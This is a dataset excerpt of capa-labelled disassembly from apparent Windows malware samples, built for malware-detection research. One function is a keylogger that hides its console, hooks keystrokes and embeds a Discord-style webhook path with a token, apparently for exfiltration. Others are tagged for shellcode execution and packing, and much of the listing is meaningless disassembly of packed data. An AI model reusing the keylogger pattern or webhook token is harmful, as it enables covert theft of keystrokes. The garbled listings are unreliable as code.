joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005ea8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140004ec4
xor ebx, ebx
cmp qword [0x140012050], rbx
mov rdi, rax
jne 0x140005fbb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140006092
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006092
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012050], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012070], rax
test rax, rax
je 0x140005fb2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012068], rax
jmp 0x140005fc2
mov rax, qword [0x140012068]
jmp 0x140005fc9
mov rax, qword [0x140012068]
mov r11, qword [0x140012070]
cmp rax, rdi
je 0x140006030
cmp r11, rdi
je 0x140006030
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012070]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006030
test rax, rax
je 0x140006030
call rsi
test rax, rax
je 0x14000602a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000602a
test byte [rsp + 0x40], 1
jne 0x140006030
bts ebp, 0x15
jmp 0x140006070
mov rcx, qword [0x140012058]
cmp rcx, rdi
je 0x140006070
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006070
call rax
mov rbx, rax
test rax, rax
je 0x140006070
mov rcx, qword [0x140012060]
cmp rcx, rdi
je 0x140006070
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006070
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012050]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006092
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140006094
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002d60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x508
xor eax, eax
test eax, eax
je 0x140001228
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test eax, eax
je 0x14000143f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rbx + rdx], ch
add byte [rax], al
add byte [rax], al
clc
mov esi, eax
shr edi, 8
and esi, 0xff
and edi, 0x8dc300ff
add byte [rbx - 0x3f7afbc0], cl
je 0x140001270
sub eax, 4
mov eax, dword [rax]
add al, ch
stosb byte [rdi], al
sldt word [rax]
mov edx, dword [rbp - 4]
lea eax, [rbx + 0x1c]
call 0xcbdcff20
invalid
xor eax, eax
test eax, eax
je 0x140001656
nop
nop
nop
nop
nop
nop
nop
push rsp
invalid
xor eax, eax
test eax, eax
je 0x14000186d
movabs eax, dword [0xe83446890055fbc0]
iretd
xor eax, eax
test eax, eax
je 0x140001a84
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax + 0x38b004f], bh
push rax
call 0x13ff1a570
movabs dword [0x59595ac0336d6570], eax
mov dword fs:[rax], edx
push 0x4dac35
lea eax, [rbp - 0x14]
jge 0x1400018a2
adc al, 0x50
invalid
xor eax, eax
test eax, eax
je 0x140001c9b
nop
nop
je 0x140001b05
add dword [rax], eax
invalid
test byte [rbx], dl
add dword [rax], eax
add byte [rbx - 0x63ea743d], cl
mov ch, 0x8b
or byte [r13 - 0x7cfa8b40], al
call 0x17b00a621
add al, 0x75
add byte [rax + rdx + 0x100040], bl
add bl, byte [rcx + 0x33]
add al, byte [rax]
add byte [rax + rdx - 0x7ba72c0], bl
push rax
mov edx, 0x676c50
lea eax, [rbp - 0x38]
xor ecx, ecx
call 0x14002c3b8
add byte [rbx], dh
rcr byte [rdx + 0x59], 0x59
mov dword fs:[rax], edx
push 0xfffffffff647e0b1
dec dword [rbx - 0x1ec173d]
invalid
xor eax, eax
test eax, eax
je 0x140001eb2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test dword [rax - 1], edi
invalid
xor eax, eax
test eax, eax
je 0x1400020c9
nop
nop
nop
nop
je 0x140001f2b
insb byte [rdi], dx
jae 0x140001ec5
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add ah, ah
ret
cld
call 0x12c28e5c8
dec dword [rbx - 0x3b7ce3b9]
sbb byte [rdi + 0x5e], bl
pop rbx
ret
xor eax, eax
test eax, eax
je fcn.1400022e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rbp], al
sub byte [rsp + rbp*2], ch
invalid
Function at 0x140005600
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
xor eax, eax
test eax, eax
je 0x140005820
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, 0x40000000
mov dword [rbp - 0x20], eax
mov dword [rbp - 0x18], 0
call 0x14000562f
mov ecx, dword [rbx - 0x8f7b]
dec dword [rdi]
mov bh, 0x40
invalid
invalid
invalid

Function at 0x140007ed0
Capabilities:
Packed with generic packer
Read file on windows

Disassembly:
outsb dx, byte [rsi]
je 0x140007f3c
insd dword [rdi], dx
insb byte [rdi], dx
invalid
sub al, 0x82
pop rdx
add bh, bh
xor eax, eax
pop rdx
pop rcx
pop rcx
mov dword fs:[rax], edx
jmp fcn.14000823e
Function at 0x14000cb70
Capabilities:
Create process on windows
Terminate process

Disassembly:
imul ebp, dword [rsp + riz*2 + 0x72], 0x26e65
add byte [rax + rdx + 0x45030040], bl
js 0x14000cbed
insd dword [rdi], dx
outsb dx, byte gs:[rsi]
je 0x14000cbe8
je 0x14000cbf2
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rax
outsb dx, byte [rsi]
je 0x14000cbbf
outsb dx, byte gs:[rsi]
jb 0x14000cc00
invalid
add al, 0x41
add byte [rdi], al
jb 0x14000cc2c
insd dword [rdi], dx
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp], al
pop rsp
add byte [rbp], al
and byte [rcx], al
add byte [r10 + rax], r13b
add byte [r8], r15b
call qword [rdi + 0xc]
test al, al
jne 0x14000cbfd
add al, byte [rbp]
cmp bh, bh
push rdi
or al, 0x84
sal byte [rbp + 0x15], 0x43
mov eax, dword [rsi + 4]
mov eax, dword [r14 + 4]
test eax, eax
je 0x14000cbf5
sal byte [rbp + rax + 0x74], 0x65
je 0x14000cc57
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
or byte [rax], al
add cl, byte [rax]
mov word [rdx + 0x47], cs
add byte [rbp + riz*2 + 0x40], ah
add byte [rax], al
add byte [rax], cl
add byte [rdx], al
or byte [rdx + rcx*2 + 0x65640047], cl
cmp bl, byte [rdx]
add byte [r13 + r12*2 + 0x40], r12b
cmp bl, byte gs:[rdx]
cmp bl, byte [rdx]
push rax
add eax, dword [rax]
call qword [rax + 3]
add bh, bh
add dword [rax], eax
dec dword [rbp + 0x50fc1044]
mov eax, dword [rbp - 0x24]
push rax
call fcn.14000a7cc
mov dword [rax], eax
add cl, byte [rax]
jl 0x14000cbdd
add byte [rax], al
add byte [rbx + rdx*2], al
insb byte [rdi], dx
insb byte [rdi], dx
add al, byte [rax]
add byte [rax], al
pushfq
adc byte [rax], al
adc al, 0
or dword [rbp + 0x79], esp
invalid
Function at 0x140012144
Capabilities:
Packed with generic packer

Disassembly:
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
jne 0x1400121b7
add al, byte [rax]
adc al, byte [rax]
cmp byte [rbx], ah
add byte [rbp + rsi*2 + 0x60040], bpl
add byte [rax], cl
add byte [rcx], al
or ah, ch
invalid

Function at 0x140013cec
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or byte [rbp + rcx*8 + 0x65], ah
and byte [rax], al
jae 0x140013cf4
jne 0x140013cf6
invalid

Function at 0x140016150
Capabilities:
Packed with generic packer

Disassembly:
cmp ebx, 0x2ef1
jne 0x140016184
mov eax, esi
call 0x140023474
sldt word [rcx]
or ah, ah
stc
pop rsp
add byte [rax], al
add byte [rbx + rdx*2], al
insb byte [rdi], dx
add al, byte [rax]
ja 0x1400161e1
jb 0x140016178
add byte [rax], al
pushfq
adc byte [rax], al
or byte [rax], al
add eax, 0x6d726f44
invalid
insb byte [rdi], dx
adc eax, 0x4d707374
outsd dx, dword [rsi]
jb 0x1400161f2
push rax
jb 0x1400161ff
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
adc dh, ah
fst dword [rbp]
add dword [rax], eax
add eax, 0x75ff1456
adc byte [rbp - 0xf1707bb], cl
movsb byte [rdi], byte [rsi]
hlt
add byte [rax], al
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
add al, byte [rax]
add byte fs:[rax], ch
insb byte [rdi], dx
invalid
mov byte fs:[rbp - 0x19], 1
call 0x13fd9b8b8
jmp 0x140016215
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
adc dh, ah
fst dword [rbp + 0x69]
outsb dx, byte [rsi]
je 0x140016273
invalid
insd dword [rdi], dx
push rsp
jns 0x1400162e9
outsb dx, byte [rsi]
outsw dx, word [rsi]
push rax
push rsp
enter 0x5794, 0
clc
ret
ror byte [rbx - 0x3bdc173d], cl
inc dword [rbx]
add byte [rsi + rdx + 0x41], bh
add byte [rax], cl
add byte [rbx], al
or al, bl
insb byte [rdi], dx
push rdi
add byte [rax], al
add byte [rbp - 4], al
call fcn.14000a94c
jmp 0x140017e3b
lea esi, [rbp - 0x10]
mov dl, 1
movabs eax, dword [0xf84589e800583bd0]
cmp dword [rbp - 8], 0
je 0x140017de3
mov eax, dword [rbp - 8]
mov eax, dword [rax]
cmp eax, dword [rbp - 0x7b]
sar byte [rcx + 3], cl
add edx, 7
sar edx, 3
mov dword [rbp - 0x14], edx
mov edi, eax
add eax, dword [rbx - 0x53ef83e]
add ecx, dword [rcx - 0x77413ab]
pcmpgtb mm0, qword [rbx + 0x6f]
jne 0x140017e63
je 0x140017df9
add byte [rcx], al
add byte [rax], dl
add byte [0x14001e043], al
mov edx, ebx
mov eax, esi
call fcn.140014f54
fld qword [rdi]
fucompp
wait
in al, dx
or esp, esp
invalid
outsb dx, byte gs:[rsi]
jb 0x140017dc5
sal byte [rcx + rdx - 0x75], 0xce
mov edx, dword [rbp - 8]
mov eax, dword [rbp - 4]
call 0x121017ddc
fcom dword [rcx]
pop rax
adc dl, byte [rbx]
test al, 0xb3
push rcx
add byte [rsi + rcx + 0x746e0053], cl
invalid
invalid
Function at 0x140016b20
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
xor eax, eax
test eax, eax
je 0x140016d40
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
in eax, 0x5d
ret 4
xor eax, eax
test eax, eax
je 0x140016f57
nop
nop
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x14001716e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or sil, al
add byte [r9], al
add byte [rcx], al
add dword [rdx], eax
add byte [rdx], al
add byte [0x196549782], ch
test dl, dl
je 0x140016f8e
add esp, 0xfffffff0
call 0x13ff7a340
mov ebx, edx
adc al, byte [rcx]
add al, byte [rax]
or dword [rcx + rbp*2 + 0x72], eax
invalid
xor eax, eax
test eax, eax
je 0x140017385
nop
nop
nop
nop
nop
nop
nop
nop
imul ebp, dword [rdi + 0x6e], 0x20002
invalid
xor eax, eax
test eax, eax
je 0x14001759c
nop
call [rbx + 0x5d]
ret 8
xor eax, eax
test eax, eax
je 0x1400177b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub byte [rbx], dh
add al, ch
scasd eax, dword [rdi]
sbb edx, 0xc35b5eff
mov al, 4
add al, byte [rax]
push qword [rbp + 8]
movabs eax, dword [0xd0ff008b006ced94]
mov cx, 8
push rbp
mov ebp, esp
add esp, 0xfffffff4
push rbx
push rsi
push rdi
mov esi, ecx
lea edi, [rbp - 0xc]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
add byte [rdx], al
add byte [0x1a565e432], al
js 0x1400175ed
add byte [rdx], cl
invalid
mov ecx, 0x726774c
call fcn.14000fdd0
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov byte [rsp + 0x20], 0x75
mov byte [rsp + 0x21], 0x73
mov byte [rsp + 0x22], 0x65
Function at 0x140002790
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea r8d, [rdi + 0x66]
lea rdx, str._api_webhooks_1255272316963917904_sEAmmcq_RqymAP__SWymTmcBWEzbzDd_6N8ZQLJ08Kqhq7tRW_8e1Sm5neYoGG7j358a
lea rcx, [rsp + 0x60]
call fcn.140003140
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001ed0]
lea ecx, [rdi + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x140035c68], rax
test rax, rax
jne 0x140002838
call fcn.140002e60
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140003930
movzx edx, al
mov rcx, rbx
call fcn.140003780
mov rcx, rbx
call fcn.140003620
mov ecx, 0x28
call fcn.1400067c8
mov rbx, rax
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140002ad0
lea rax, [0x1400025f0]
mov qword [rbx + 0x20], rax
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x140003d90]
xor edx, edx
xor ecx, ecx
call fcn.14000d1e0
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000298b
cmp dword [rsp + 0x38], 0
je 0x140002980
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.1400061ec
test eax, eax
jne 0x140002980
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140002916
nop dword [rax + rax]
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x1400028e0
mov rcx, qword [0x140035c68]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000295d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002958
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000299a
call fcn.1400067c0
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400067a0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret
mov ecx, 1
call fcn.14000407c
nop
mov dword [rsp + 0x38], edi
mov ecx, 6
call fcn.14000407c
nop
call fcn.14000d904
int3
Function at 0x140005a5c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140005a8a
xor eax, eax
jmp 0x140005b70
cmp qword [rcx + 0x68], 0
je 0x140005a9b
call fcn.140005b8c
jmp 0x140005b70
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005ab2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005ab4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005ae6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400208f0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140005b6a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140005b1d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140005b46
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000eb9c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140005b6a
cmp rsi, rbx
ja 0x140005b24
test rsi, rsi
je 0x140005b6a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000eb9c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140007414
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000745e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000745e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000745e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000745e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000745e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007460
xor al, al
add rsp, 0x28
ret
Function at 0x14000d1e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14000d217
call fcn.1400101b8
mov dword [rax], 0x16
call fcn.14000d8e4
xor eax, eax
jmp 0x14000d2a9
mov rdx, r9
mov rcx, r8
call fcn.14000d17c
mov rbx, rax
test rax, rax
je 0x14000d2a6
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x28], rax
lea r8, [0x14000d0b0]
mov eax, dword [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
mov dword [rsp + 0x20], eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14000d293
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140010148
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000d27a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000d289
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140013d30
jmp 0x14000d2a6
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000d2a3
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140010c68
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010a80

Function at 0x140014860
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x14003a050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1400148c5
test rax, rax
jne 0x1400148b3
lea r9, str.GetLocaleInfoEx
lea r8, [0x140026e48]
lea rdx, str.GetLocaleInfoEx
lea ecx, [rax + 0xa]
call fcn.140014414
test rax, rax
je 0x1400148c5
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.1400208b0
jmp 0x1400148df
xor edx, edx
mov rcx, rbp
call fcn.140014b50
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400177e8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140006df0
sub rsp, rax
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140016378
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140017837
mov rax, rbp
jmp 0x140017943
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x35720]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400189d0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x35720]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001793f
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001793f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400189d0
test rax, rax
js 0x14001793f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001793f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140017931
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140017931
cmp byte [rcx], 0xd
jne 0x140017917
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140017926
cmp byte [rcx + 1], 0xa
jne 0x140017926
inc rcx
jmp 0x140017926
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x33480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400178f9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140017943
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400067a0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140017b64
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140017b7a
mov al, 1
jmp 0x140017be6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140017b8b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140017be4
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001be74
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140017be4
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140017be4
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140017be4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140017be6
xor al, al
add rsp, 0x20
pop rbx
ret